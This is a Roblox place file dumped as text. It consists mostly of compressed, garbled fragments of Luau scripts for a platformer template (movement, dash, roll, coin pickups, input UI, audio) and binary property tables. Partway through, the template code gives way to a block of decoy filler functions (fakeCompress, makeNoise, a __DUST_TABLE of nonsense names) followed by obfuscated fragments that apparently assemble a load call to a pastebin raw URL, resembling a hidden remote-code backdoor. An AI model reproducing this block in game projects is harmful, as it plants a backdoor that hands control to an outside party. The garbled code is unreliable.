+PROP
+UniqueId
+ #LORUX[^adgjmpsvy|
+!$'*-0369ADGJMPSVY\_behknqtwz}
+"%(+.147:=@CFI
+2;QVafqx
+WZ_do8
+NP"""""PROP
+WorldPivotData
+;lu9
+#B?V#k;I
+F? ,
+=vNw?
+? la;
+J#?2
+=EKD
+|@=(
+ Rg?A
+H<"Cg
+
+?^`]
+|
+]=z\
+9=(<|?
+gim?
+i?k'
+;_CZ?H
+Z/i?
+=5i?
+s=m9
+?yVM
+?ELv
+?-R!={
+=Sv8<
+;8g~?
+7ah>r
+=Y(y
+\Ze?.
+?!U;;
+|re=
+=$p=<
+[;r
+Ah&?
+LU?'
+?t@]=
+9Pe^?
+ 3|?
+=~"^
+S:8>ne|;W
+S?-y
+M,T?
+%N?_
+z?T]s
+=&N\
+7Cu;=
+?%c
+@V;?
+R=sy
+>_?g
+\Sl?
+ bo<
+Q?B7r
+k}?Khx=
+>?2n
+P <,
+ir?4
+?z!R
+$_O?
+Ij?FU
+?|p8
+Q\*9
+?K76
+=d>g
+8 M?<
+
+?
+:>I+?
+=/B_
+=&0t
+hl(x;
+:!QX
+4u2>
+RU=C
+<$:X
+VaX.
+?qw
+`+?oM
+z?{i
+!wx?NY
+lds?
+{=H[
+#?_k
+E>p&
+Czj?
+K~?X
+(@11
+@j]?
+lKb?
+ ?}
+ p p``
+pp``
+!$(-
+OJ@UBBP%,.
+OKV>1
+$<;
+htp|
+UJN95+*(
+HSMVZV
+Y}dg
+Ow~zs
+X23JHD8LYY*
+l01-
+Tpso
+|~GX
+@ynk|M
+oo/_
+B 9t-
+d~IR
+f!)$f
+|" 1
+, =5
+BUnit
+o self.0
+isSwimming(): boolean
+"St5
+Vtate((
+TType.t
+Material ~
+O.Airh
+q(): str
+ or "None"w
+lastTimeq
+w.format
+, os.clock())<
+:FireServer
+RSinceE
+: number;
+e) or 0R
+% -T
+U, ...\
+f 2 = 2
+3not
+warn(`Invalid"
+2: {;
+=}`)
+-- Check i
+dcurren
+ has a set aA
+t to use
+Iself=
+ elseF
+1not9
+update(deltaTime
+YAllow
+gain once=
+Q is gi
+Ced/c
+#/sq
+dditionally,
+Aneed
+be clearedP
+4 orr
+tryClearG
+#()
+o, trueB
+q-- Lerp]
+; to
+ at a constant rate
+Q-- Ge
+Kward
+coffset
+2max
+* =Y
+Make sure we don't overshoo
+target
+ if
+'<=l
+$+=o
+fUnit *i
+1Mov~
+B:Mov[
+minTimeInw
+<>= g
+1fun
+:destroy()
+Cions
+troller
+B to
+q sounds
+Vs forj
+ad with
+Deach
+ can have associate
+4and
+zto play0
+Workspac7
+playSoundFromq(
+"%=
+##= @
+b.Local
+audioEmitter
+X= {}
+O.new
+1 ==N
+5er.
+Create anx
+" ey
+Q:Clon
+VTrack
+:initialize()
+F -- 8
+U only
+6be b
+$is|'
+C, si9
+1y wr*cutomat9
+1 we
+using two a#,
+: one that's
+Ad bym
+Rselec
+qcorrectb
+based on!
+2ouro
+ or not.
+? =
+ the<
+1Whem
+Qs, do
+ table.insert(]
+2):CI
+2:do
+#FX$
+, run itN
+q-- Only.
+ is close enough.
+" o#
+always run.
+/"= g
+'1Pos
+&ora
+1Mis
+2end4
+3or"
+CLoad7
+!ffor _,
+6 in
+Bs:Ge
+ren() do
+# =5
+ror:Loadw
+Eion((
+e.Name]K
+2pla
+Bplay
+Ewe'rO
+!lyC
+t looped
+d, stopf
+Q:Stop
+g = nil.
+!0bthere'
+! mF$
+Osdoesn'tT
+%noN
+cdo any
+W:Playa
+, keep track of it
+$4can
+a laterx
+K3cDoubleQ3
+a second>8
+ air by sett4
+1ver
+ velocit
+calculateV
+2ForU7
+CsetV
+w= true,%
+F = "
+D = "
+"ly9:
+&;noth
+Don't le7
+Fdash
+1cut]
+Dhort
+ALastU1
+c("Dash
+, false)X
+q to mak^
+Gjumpy
+aHEIGHTP
+B- A ^1
+he defaulti*
+0?ate{8;
+o= 0.2,
+2can
+jump while
+Sthey'
+B ~= l
+Aspam
+ too fas%
+it do a norm
+iW!4ly
+#u, apply
+ backwar
+@Cladd
+O = -?
+LookVector *
+.AssemblyLinear
+Roll - Performs a roll for}"
++a i
+STween3E
+RgetOr
+Attachment
+TOTAL_ROLL_
+COOLDOWN
+TWEEN_INFO =
+Info.new
+aTIME, S
+EasingStyle.Quart
+#5.In
+Z$L = 4
+Croll
+too quickly
+ previous
+e"RollAB
+.xAxis, -U
+s3.zAxis.
+We'll use
+<9the$
+ = Instance
+70 =+
+RelativeTo =
+Actuator
+force is multipli
+'s total m
+$aensure
+istency across diffe{-7sizC
+AMaxFv
+AMass
+"ic_
+Rtrain
+the XZ plane s
+1ill
+ up and down
+TtModev
+g.PlaneE
+XSPEED1
+!Pab
+c a twew71amp
+Q over
+O, {
+gzero }
+yComplet
+q finish&
+2 is
+,.A (itz
+Hbformedm
+(),l
+manuallyQ
+back to None~
+#it)
+6es.
+U e (e.g.
+b begin
+!ngG
+.3the
+Ccall
+b:Once(
+BaseSpecial - One oV
+two main 'entry point'
+As. S
+ or recove08
+Stun" or$
+T/dash
+r:5 or
+3isS/
+?antp@
+qthroughI
+air for a
+nO"ofP
+2fun
+-2 |
+4ash
+?ASHJ
+!UDashA
+!DDash7
+F ::
+E0, -
+"ztask.de
+vDestroy
+I:P
+=X FK
+71to H
+Rto re
+Eheir
+1tur_
+U$,
+?end
+' ALong
+ + Vshort
+!2and
+horizontd
+. Running
+ stun
+%isJ
+sphere casto
+collision
+/Ru*
+CsetV $
+Sy runx
+heartbeat
+raycastParam
+A.new
+FilterTyp
+.Exclude;
+Descendants,
+Vs = {b
+', }N
+RespectCanColli
+=truv
+IgnoreWater"
+/ U
+4onH
+Cgets
+Aresev
+Ror fa
+#Omap)e/
+6:Is
+uOf(game
+ostarts
+>has
+Ccast
+!tu4
+ 2do.
+Bshap(
+s don't detect intersIS1s a
+ir origin, we
+Dcast
+opposites
+2dirQ
+2Aheck
+$&it)
+1ion
+:PointToWorldSpace(g
+h%))x
+G * 2
+hresult
+A%:S
+Ybounc@U
+!.NH(!
+2un
+the wall's
+6 = k
+vto some
+Ddone
+F#is
+5canO
+hc24Basa2
+$qtype of
+A jus-
+Arted
+qing, pu
+n'02
+1can-
+-Al4a3 to
+Sright
+B(!ve
+73ped
+AThis
+ feel more responsive`
+RCoyot~
+Stun - B%
+2 ton
+6 renter rW
+Aland
+": |
+ SFlattlG
+r out to
+4$bex
+Enew(
+Z).Unit
+^ !UStunAB
+^ ?5stu
+)OStung
+PrimaryTangentAxis:
+oSecond/
+BzAxi
+5Add)x
+e upward
+has land
+)gL D
+85 =
+N" -
+R1anys
+Qoff o
+m if necessa
+?* 2
+/ K
+-- Coins
+ COIN_TA
+QCoin"_
+IN_PICKUP_SOUND_PITCH_INCREASE = 0.0
+BRESE
+TRANSPARENCYK
+ MOVING_PLATFORM
+..",)
+8SPE
+fA = "+v
+ANGULAR4
+angularS;
+VDELAY
+-A = "
+RESPONSIVENESS =
+|aOne wa
+ CHARACTER
+dP = "C
+ LOCAL_&
+ ONE_WAYD
+hOneWayD
+UPDATE_RA
+/30z
+}1100
+FCoin
+Alass
+a coin pickup. Touch event
+qe clien
+Qorder=B
+inimize visual
+Krncy whe^
+aing upn
+Players
+5(CAGamea_
+Objects.Coin
+1s.P
+1Eff
+BCoin
+Dmoted
+Pitch = 1
+Blast
+[ = 0
+S2Rtable
+ore which
+ have be
+Ted up<\
+attributes}K
+not persist if
+g"in
+areamedS
+2and
+AedUp
+.new(coin: Bas
+:PivotToG
+F_G6coi
+=Bself
+8 =
+w#io
+Rtouch1A'ou
+! w]B!tr
+pick it up.
+#"ed
+CwAthat?
+feels superF
+Roin.T
+I(hit
+Z5hitO
+ self:try
+Visibilit
+we haven't already.
+3isP
+# =(
+SScoin]tl
+to 1 if it's
+2too
+/+=e
+nd a particle ZH/
+Immediately markB
+!ast
+e times
+ -- Tell
+Aserv
+#atJ$atryingv#
+ssuccessE
+d:InvokTv
+!rey A our
+Nest,
+5not
+" =P;
+scoin ha
+A up,L!
+ it transp
+d),2 in"_
+F:Get
+]'if3
+d:IsA("j
+]") or
+fDecal"
+cyModifier =
+relse 0
+_Light
+QEnabl "7not|
+!Bsafe
+Added - A
+ to run a call
+*dfor al
+s who joi1
+8yer
+h. The
+p B is
+"ed0ICat
+F6be Q
+2: (
+Q) ->
+Rs:Get,
+task.spawnQ
+Eemit
+s from it,
+Xing i
+ faded away.
+ The+
+Rper e
+l1 is
+-Brmin
+&and
+ on each.
+: "emitAmount"
+EMIT_AMOUNTxA* =a
+ a single bursti&
+, attachTo$
+# =y
+Mweldl6AWeldI
+1rai
+ weld.ParXN(To
+Alifeo
+2= 0
+1Get
+Lr"ha,T
+ll as get
+vmaximumA
+Cv in
+Rnot v
+continueR
+ = math.max(
+S, v.L
+A.Max
+J = voD
+ v:Emit(
+ !(
+D-- W
+fade before R
+&thV
+--!strict
+Code Samples:
+ https://
+.roblox.com/docs/s)
+store/asset/13595021558/Input-Categorizer
+F - I
+ra libra
+ing various
+yb types])qmore us
+zM"An
+"upnQrto know
+the overall;
+ , rather than individual
+ KeyboardAndMouse <- All k
+ Gamepad*
+AUserS
+_Servi
+Alast>
+M"Evq
+ce.new("Bindable
+type
+C. a= (stro.
+Rtate,E
+d...any
+<= "
+&",O
+3= "Z
+$",F
+1= "O
+ Unknown = "
+!izr
+XC!hez
+izer.getL
+9Oetur0
+>If
+different, set8
+2fir
+"~=V
+Z:Fire
+ty based
+OType/
+ %ge
+3Typ
+[Type:
+BType9
+R.find
+Type.Name,
+3 or
+eer._on
+peripherals
+jDefaul
+':Gd
+>and%
+km2"No
+r device
+fcted!"[
+w9notT
+Hd, "[
+Eizer
+2!")
+fUpdate
+":C$
+BBstar
+eizer
+Bloadwv
+Aload
+module scriptsGt
+ instance
+a dictiona
+$us\
+ names a
+K key
+!(sI
+ for _,
+C in 9
+" 4
+49359972/
+-Manager
+Qwrapp
+ound Context3
+!in"E2s a
+-platform c`-Rs UI.
++UIc]
+Mlaten
+badjust
+z layout
+Metadata>
+2ersg
+3 ::
+DGui
+5Gui
+s :: any]
+4Gui
+PADDING = 40E
+lVERTIC
+ _binding
+r :: { [
+! }I
+R.bind
+DNameC
+1Key
+displayOrder
+Q bind
+qwritten
+TName]
+Rwarn(N
+"'%s' is
+bound!",0DAName
+% =v
+8 = Y
+Create a new UI eJ
+!nt"
+Label.Text =
+Z or 0-
+rGui.Lisu
+bInputDP
+dD qync wit
+1Sta
+*B...
+1NamB
+B.Beg
+BackgroundColor3 =
+.new(1, 1, 1)P
+BTextA
+button c
+UBegan
+17End
+x?End
+R-- Bi
+&:B%
+=ing
++ =@
+c-- DisU
+4 in
+3-- O
+7nilz
+!Res]4old&
+2old
+!")2
+!O new
+9 ==
+:get
+R to e
+)1/di>!ad depec
+provided D
+7mag
+Y.Enum
+:GetImageFor:
+ * :
+IIcon
+5and
+mage ~= ""
+) =h
+]mouse?
+The following logic was taken)
+the ProximityPrompt CoreScriptT
+gString
+e4 to
+dcorrecL
+rdealingl
+non-QWERTY
+3Texz
+7not
+conMapping[
+cMapped
+dToTextw
+tE/if9
+Nboaro
+OText
+DText
+?Sizi
+CodeToFontSiz
+2 or
+$nd3
+and scale
+fs list
+wAndScal
+C-- T
+qthe sam
+CculaN
+ for siz'
+minScreenG
+tmath.mi
+Gui.AbsoluteSize.X`
+risSmallX
++ =d
+U< 500
+7PBPaddH
+9and@
+s-- Offs
+to accountR
+Q -- N
+!ha%
+qtwo siz
+onsidered small or not
+qthen 70
+eB 210
+1.UI
+B0.85
+r = UDimXSN1, -
+Id, "
+:IsClient()E
+5can
+blist i
+1Gui
+added/rp
+.ChildAdG
+bchild)n
+05Gui
+? in
+"wh]
+Dsize
+? or
+;dropert!
+Signal("f
+%")7
+the UI tI
+A gui
+O itsL
+=Guiq
+8* $
+;GthisV
+been reuploaded in casj
+internal file):Smoved
+/:BEexis
+ = { [Enum
+% }K+4{
+(# S
+B.Bac
+] = "rbxassetid://13471227918",9
+07057476
+LeftShift9
+O66439
+ORigh:
+#?Tabm
+9899",
+ } ::
+89692470
+O3292B
+O4025
+?"'"a
+71372204
+/",&
+C3021&
+d070168&
+4493r
+2764
+S.Left
+BCtrl
+bLeftAl
+?AltJ
+aPageUp]
+1PgU{y
+PageDown$
+AHome
+OHome
+1End
+RInser
+?Ins?
+RDeleta
+X = 14
+.10U
+Qclone
+ FplayZQ
+ R, rouW4!t z
+specified target,
+ andsAAit o93
+t#Jrfinishe`
+4ing
+Template: Audio'/
+, pitchA
+1Ement
+D,ifJ
+.PlaybackSpeed *=4
+2wirr
+stance.new("Wire")
+ wire.S
+7 = m
+A:PlaY
+.}'TOnce(
+GBin i
+a limitedbNa,
+ wai
+%7ose7
+to fade out a
+?endED
+A-- PW
+d effec
+c amount~
+Qextra
+G$:
+ -- Find
+YHI
+t, v)
+/
+u& *"
+ e=
+yDif a=
+ is actuB
+&byP
+2encU
+Cbs stor
+ Since using
+QFirst
+expensiv
+awill b
+equently byY#
+ we op
+Qcache$
+= = %
+CNone
+2.Nag
+Btrue
+B] or
+Cler
+ Align
+bOrient
+!Rto mo
+s betwee/Y
+ Beams areK
+Tvisua
+Jtake
+Xdants =
+.Gameplay./
+EgetC/
+zscript.
+6izel
+NPath<
+_= {}
+Container
+7 =
+DGetA
+1.Na}
+2 anj
+Rto us
+c.Mode
+mentMode.One
+F0 =
+Ohuge$
+QRespo
+Arota#
+MaxTorqu
+Bself
+Index = 1,@
+9 =
+Fs =
+A= {}
+T Bselfe
+ -
+? 9
+A-- Vt
+)Wfirst
+1mov
+xthe nex
+, looping
+once we reacwJ
+Fnext
+q+ 1
+ if{
+<> #
+6eHneed$
+"diI!2 =
+ytimeToNy
+& =b
+bit tak
+is task so
+ncel it later if w
+ to stopt
+.moveTask =
+RTime,
+3mov
+Rstop(
+ehave a
+Gask,<
+loop forev
+being usedgn
+d, `No !
+T in {
+GetFullName()}`)
+Dbeamh(
+PathBeamL
+VPath(
+Es: {G%
+gindex,
+rC = 1sA
+Q == 2
+Qthere
+Vfrom
+G2 to
+1+ 1
+5[1]B
+? = &
+4, "
+:Patn
+abeam =1
+?F;eam0
+B1sur
+all in order
+OFold
+-- Make
+8num~
+A{i}`
+?, `6
+ateString - Ensures>
+1ass
+8!gu[#
+O(str
+typeof(str) == "
+ is not an 'imposter'
+"th$
+Bcted
+ IZ91s w
+-B2ervy
+Rexpec
+, exploiR+1canl
+&Awith
+aYmimic
+%q but set
+Rwhate
+ey want.
+ e.g.j
+1fak3
+new()
+TmoteE
+P[%1reS
+ It is unsafq
+to blindly accept
+;"of
+Afake
+&Bout
+wBis a
+ectedClass
+$ifx
+d) ~= "H
+1falpl
+R:IsA(
+AMast
+deep structur
+L*Bof o
+c claim
+inherit mL
+1per
+at impersonate high-privilege behaviors,
+may attemp
+Qspoof#
+ss by craf;
+rproxies$
+Amirr
+#amethod
+Qfield
+"!Ex
+E6DHasA
+3()
+true end,
+ GetToken)
+"admin"
+can cause significant security issues i
+a assum
+e authenticityV
+ae inco
+C ver
+legitimate"
+should b
+as a defW$
+qority,
+Qially
+S elev
+r command execu
+is involved
+isPatchedEnvironment
+ % 2 < 1f
+KeyRing(objB
+!bj7
+obj.GetKeys
+S#obj:
+o() > 0p
+deepEquality
+R(a, b
+Ta) ~=
+tb) then
+ba == b0
+Sfor k
+1rpairs(a
+v, b[k]
+5endp
+sanitizeInput(tbl
+6tbl
+ tbl[k] = v:gsub("[^%w_]", "
+h%8tbl
+b_CACHE
+recursiveMap(tblQ1
+ U
+sfunc(v)
+1sim6
+NetworkLatency()
+ wait(math.random((
+S 0.2)
+__INTERNAL_FLAGSI
+ 4ct"
+ ["audi
+legacyBridge.
+qmetrics
+(str, n)
+ n = n % #str
+str:sub(n + 1) ..
+hashId(val)3
+B#val
+h = (h * 31 +
+.byte(val, i)) % 100000X
+makeNois
+!.55
+"ALERT" or "OK"P
+dummyTransform/
+>sum
+tsum + (
+a, i) or 1) * (b or 7))
+sum % 256
+STrail4
+dobj or
+1obj
+Aobj.Q
+ = os.tim<
+__DUST_TABL
+ "meta_buffer", "auth_cache", "ghost_zon
+controller_map", "failover_chai_?!"t
+try", "net_prob?
+heartbeat_stub", "quantum_keypad"
+flipTable
+2out
+R1, -1
+out[#out
+= tbl[i]
+?out
+reseedRNG()
+seed(tick() +
+(1, 9999)
+compareSchemas
+if #a ~= #b
+if a[i] ~= b[i
+fakeCompress(data
+#")8
+gtion(cJt
+Jchar:
+0) ~ 0x42)
+syncDebugInfo(debugD
+5if
+R.leve
+QstackP
+SyncedW
+c__HOOK
+!in_
+_reset
+hencodeT
+shadowCopy=
+C out*
+staticEvaluator(fn, times)
+R or 3
+pcall(fn
+CONTEXT = {
+ vers
+"1.0.0-beta",
+re",
+n""n
+C", "
+ion", "sync"},
+ hash =
+seMaster
+cS")
+? =
+9 =
+= =
+9 =
+' 8 = 6
+ rightBlo_
+ her
+,5 =
+? =
+R,load
+(!lllLLL)
+ !x
+,pas!. te
+,!bin!
+,ra'''=w/
+,'+F:nc!
+ wD# p , 3 =L
+5 =
+: =
+8 =
+9 =
+6 =
+; =
+ ## Overview
+Der t
+dservesI
+ing mechanics
+ and coin collec4
+B"erv
+AjumpV
+RdoublNUS, rol`
+ (shift on<_
+, X/square on
+a!),J
+AlongH
+1 by
+2ing}
+b afterX
+Project S
+?are
+5 U, the9
+their
+ Run
+N#Ay do
+#enw2
+Esame
+Fe isQ Bboth
+T% -
+Qup in
+&'re
+ies:
+ * z
+ * Utility
+contains
+7CrelaU
+Xthe
+abilities. Th
+xathe ma
+1, r
+Aplic
+!s,X
+Bmore
++a modul
+4 to
+ a central place
+dify all
+ The
+to supplementary
+Alay
+|such as
+""s,2
+bs, etc
+ all
+4The
+qlibrari
+&atr6
+ various systems throughou
+Character
+ class (founmS
+!2er.
+&s.A
+6codW
+1mov
+, momentum,
+BjQasilyB
+ort multip
+#yp}
+!ouJH
+king or re-imt
+ the d
+vis read
+ humanoid
+a RenderStep loo
+rwritten
+to it by
+ don
+?ide
+5thew
+5mov
+2 ca
+ArollV
+ing. These
+4all
+1dulR
+CEach"
+y animationsH
+Bsoun
+play whenS
+Wed,
+Sccele
+4durP_
+and whether
+ it.
+Aende*
+TlandsS
+qground.
+minTimeIn
+T - UsC
+clearOnG/
+C, prl
+Btion
+Qbeingw*wped
+b- When
+Rchang
+back
+ to
+ed/climbing/swimms
+=- T
+So useg
+1cur
+begins
+"si{@" `*
+A.pere
+1 isJ $ed
+ %is
+8 soV
+bvalues
+se other
+Coin Pickups
+ are represB
+Cgets
+(Qly reN
+a nicer loo
+model. M
+qpick up4
+coin, bu'D1one
+Touche
+blisten
+Sallow
+8to
+sshow
+ indicator
+picked up
+Bdoes
+e to
+ mf%
+Ucan't
+ from any
+amap or7
+Aincrv
+ir leaderstats.
+--]]
+PROP(
+SourceAssetId
+PROP
+Tags
+PROP
+UniqueId
+!"#$%;<=>?@ABFIJKLRS/TO
+P"""""PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP3
+Name
+onReplicatedCSGDictionaryServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP1
+Anchored
+PROP+
+AttributesSerialize
+PROP$
+AudioCanCollide
+PROP*
+BackParamA
+PROP&
+BackParamB
+PROP#
+BackSurface
+PROP(
+BackSurfaceInput
+PROP,
+BottomParamA
+PROP(
+BottomParamB
+PROP-
+BottomSurface
+PROP+
+BottomSurfaceInput
+PROPt
+CFrame
+Ai!"
+oi!"4
+Ct
+0XX6xx
+Xpqvno
+ pp
+````
+pppp
+((
+@@``
+|x`d^bd
+FFF(
+*FFF
+7ccb
+P`hpp/
+oo/_
+}}}}
+IpSsssh"Xh"X
+h"XP
+ \$$#$$#RR RR
+@++$
+PyyT
+lxPVDJGG
+$$ll
+HHHH
+ $$
++J x
+GO=lll;
+qXXXX
+PROPE
+CanCollide
+PROP>
+CanQuery
+PROP8
+CanTouch
+PROP(
+Capabilities!
+PROP'
+CastShadow
+PROP6
+CollisionGroup
+Default
+PfaultPROP(
+CollisionGroupId
+PROP
+Color3uint8
+1XXl
+BXXl
+PROP-
+CustomPhysicalProperties
+PROP(
+DefinesCapabilities
+PROP<
+EnableFluidForces
+PROP+
+FrontParamA
+PROP'
+FrontParamB
+PROP$
+FrontSurface
+PROP)
+FrontSurfaceInput
+PROP,
+HistoryId
+PROP*
+LeftParamA
+PROP&
+LeftParamB
+PROP#
+LeftSurface
+PROP(
+LeftSurfaceInput
+PROP
+Locked
+PROP&
+Massless
+PROP
+Material
+ P
+PROPk
+MaterialVariantS
+`ized
+etalPanels
+Concrete_Template_Wal
+_Floor
+PloorsPROP6
+Name
+Baseplate
+Floor
+PLevel
+Top_DJ
+ @Step
+VFX_DustMotes
+GravityFlower
+Middle Wall
+ightBlock
+GlowspheresX
+fanchor
+CoinPickup
+Checkpoint1
+Platform
+oOneWay
+ImpactParticles7
+EDash
+EJump(
+P WallPROP/
+PivotOffset
+PROP#
+Reflectance
+PROP+
+RightParamA
+PROP'
+RightParamB
+PROP$
+RightSurface
+PROP)
+RightSurfaceInput
+PROP$
+RootPriority
+PROP*
+RotVelocity
+PROPJ
+SourceAssetId
+PROP`
+Tags
+OCoin
+OneWayPlatform
+PROP)
+TopParamA
+PROP%
+TopParamB
+PROP*
+TopSurface
+PROP'
+TopSurfaceInput
+PROP
+Transparency
+1~~~\
+PROP\
+UniqueId
+!"$%'()*+-./01368:<>@BDFH
+8?CDEFGHIJKLMNOSTUcdestuvw
+XY[\^abcpw
+P"""""PROP'
+Velocity
+PROP)
+formFactorRaw
+PROP>
+shape
+PROP
+size
+@ @<><<@
+1q8q
+GQGQG
+QGGG
+ @ p
+@@ @ `>
+h@@P
+tH H
+CCi//
+PROP`
+Acceleration
+c%~x
+PROPb
+AttributesSerialize
+emitAmount
+PROP$
+Brightness
+PROP!
+Capabilities!
+PROP
+Color
+[? E/
+G?|G
+PROP(
+DefinesCapabilities
+PROP-
+Drag
+PROP.
+EmissionDirection
+PROP
+Enabled
+PROP)
+FlipbookFramerate
+?PROPb
+FlipbookIncompatible
+Particle texture must be 1024 by
+to use fF
+/s.;
+Pooks.PROP#
+FlipbookLayout
+PROP!
+FlipbookMode
+PROP(
+FlipbookStartRandom
+PROP
+HistoryId
+PROPb
+Lifetime
+?PROPL
+LightEmission
+PROP/
+LightInfluence
+PROP)
+LockedToPart
+PROP
+Name
+Emitter_DustMotes
+Flower
+HoverVFX
+3ash
+Sparkle
+Impact
+GRing
+PerVFXPROP(
+Orientation
+PROPP
+Rate
+PROP9
+RotSpeed
+PROP<
+Rotation
+PROP
+Shape
+PROP
+ShapeInOut
+PROPF
+ShapePartial
+PROP#
+ShapeStyle
+PROP
+Size
+PROP'
+SourceAssetId
+PROPb
+Speed
+!P A
+@PROPO
+SpreadAngle
+PROP5
+Squash
+PROP
+Tags
+PROP
+Texture
+rbxassetid://14302399641
+8401303826
+0139058332
+7900698563
+8292606637
+_37696h
+_70249
+7900698563PROP#
+TimeScale
+PROP
+Transparency
+33CX
+PROP
+UniqueId
+ 479;=?ACEGI\l~
+P"""""PROP?
+VelocityInheritance
+PROP$
+WindAffectsDrag
+PROP:
+ZOffset
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP%
+Name
+PermissionsServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP!
+Name
+PhysicsServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP!
+CustomPoliciesEnabled
+PROP
+DefinesCapabilities
+PROP"
+EmulatedCountryCode
+PROP!
+EmulatedGameLocale
+PROP
+HistoryId
+PROP(
+Name
+PlayerEmulatorServicePROP"
+PlayerEmulationEnabled
+PROP%
+PseudolocalizationEnabled
+PROP+
+SerializedEmulatedPolicyInfo
+PROP
+SourceAssetId
+PROP
+Tags
+PROP#
+TextElongationFactor
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROP
+BanningEnabled
+PROP
+Capabilities!
+PROP
+CharacterAutoLoads
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP!
+MaxPlayersInternal
+xPROP
+Name
+PlayersPROP'
+PreferredPlayersInternal
+xPROP
+RespawnTime
+PROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP!
+UseStrafingAnimations
+PROP'
+AttributesSerialize
+PROP#
+Brightness
+PROP!
+Capabilities!
+PROPC
+Color
+jPROP$
+DefinesCapabilities
+PROP
+Enabled
+PROP
+HistoryId
+PROP&
+Name
+PointLight
+.PLightPROP'
+Range
+PROP
+Shadows
+PROP#
+SourceAssetId
+PROP
+Tags
+PROPW
+UniqueId
+""""""PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP0
+Name
+ProcessInstancePhysicsServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+Enabled
+PROP
+HistoryId
+PROP
+MaxPromptsVisible
+ PROP)
+Name
+ProximityPromptServicePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+Name
+SetActionPROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP
+Name
+PickupCoinPROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP"
+Name
+ReplicatedFirstPROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+PROP"
+AttributesSerialize
+PROP
+Capabilities!
+PROP
+DefinesCapabilities
+PROP
+HistoryId
+PROP$
+Name
+ReplicatedStoragePROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP"
+AttributesSerialize
+PROP
+AutoLocalize
+PROP
+Capabilities!
+PROP
+ClipToDeviceSafeArea
+PROP
+DefinesCapabilities
+PROP
+DisplayOrder
+PROP
+Enabled
+PROP
+HistoryId
+PROP
+Name
+ActionGuiPROP
+ResetOnSpawn
+PROP$
+RootLocalizationTable
+PROP$
+SafeAreaCompatibility
+PROP
+ScreenInsets
+PROP$
+SelectionBehaviorDown
+PROP$
+SelectionBehaviorLeft
+PROP%
+SelectionBehaviorRight
+PROP"
+SelectionBehaviorUp
+PROP
+SelectionGroup
+PROP
+SourceAssetId
+PROP
+Tags
+PROP#
+UniqueId
+"PROP
+ZIndexBehavior
+PROP(
+AttributesSerialize
+PROP!
+Capabilities!
+PROP*
+DefinesCapabilities
+PROP
+Disabled
+PROP
+HistoryId
+PROP!
+LinkedSource
+PROP
+Name
+Listener
+AutoPlayAudio
+CharacterLeanScript4
+SmoothCamera
+rControl
+Boins
+OneWayPlatform
+Replication(
+oMovingA
+CoinsScriptPROP&
+RunContext
+PROP
+ScriptGuid
+{A344A3E0-944C-4667-B8EC-A3FA99F7FE97}*
+C4299779-67FB-48B1-B684-59A3A4B5224C*
+03FC7FA7-45FA-490A-8F99-7051B7D8B94B*
+937D5896-8821-4BB8-842E-4CCCF0FAD569*
+D9DC660F-F5DD-4C4A-A416-5DB2C9A2D4
+P25583*
+BE2F-4A60-B619-4FE8B14587B2T
+41C4811-8FA6-4318-873F-4C32EAC9CA03*
+E7BB47DA-93E9-415F-8686-A8799EED2FB0*
+7DDE2F96-BC86-47B6-81E1-6A9165242CD8*
+F8633173-C592-4CD8-A5BD-DE40D
+BB70A*
+07978A6E-0B0C-44
+89F4-80E715E546D
+323C9846-285B-4B40-B21B-CA0BA2F9E455}PROP$#
+Source
+--[[
+ Listener - Initializes the main Audio%
+, placing it in&
+"camera.
+--]]
+local Workspace = game:GetService("
+$")0
+& =9
+.CurrentC^
+= script.Pa%
+T.Main
+# =`
+AutoPlay
+ - A utilityY
+ to automatically
+ers tagged with "Q
+ This is used since>
+do not haveG
+Asames
+functiona
+as legacy soundsn
+QColle.
+AUTO_PLAY_TAG =
+1 on7
+pAdded(a&
+: Instance)
+ assert(
+WIsA("D
+t"),
+ `8
+H} ({J
+ GetFullName()}) expected
+Cbe a
+h, got @
+`.Class>
+ySignal(
+):Connect(Q
+wfor _,
+n do
+CharacterLeanSw
+1 -
+ makes c(
+s slightly lea,
+2dir
+y are moving.
+ Each Step
+'s Root joint TransformX
+0pda
+ baa
+velocity,
+/Ru%
+#")t
+pStarter
+A-- S
+has RunContext of Client,J
+will run anywhere regardless+
+Rits p
+-- We only want?
+!to=
+when it',
+p so we'l
+eturn immediately ig
+ 'sc
+4 ==-
+areplic
+Catom
+2 ne
+Pwait =
+children
+humanoid
+:WaitForC+
+3("H#
+IPart8
+LowerTorso")
+ ROLL_ANGLE = math.rad(15
+^PITCH!
+LEAN_SPEED = 10W
+0CFrx
+"=
+d.new()!
+ped(_: numbL
+deltaTime
+SmoveV~
+% =x
+irelati5
+:VectorToObjectSpace(d
+-- Calculate pitch and roll#
+4= 0
+p.WalkSpw
+C~= 0
+dclamp(i
+O.Z /G
+, -1, 1) *
+b:Lerp(}
+.Angles(
+A, 0,S
+Emin(
+' *j
+PApply
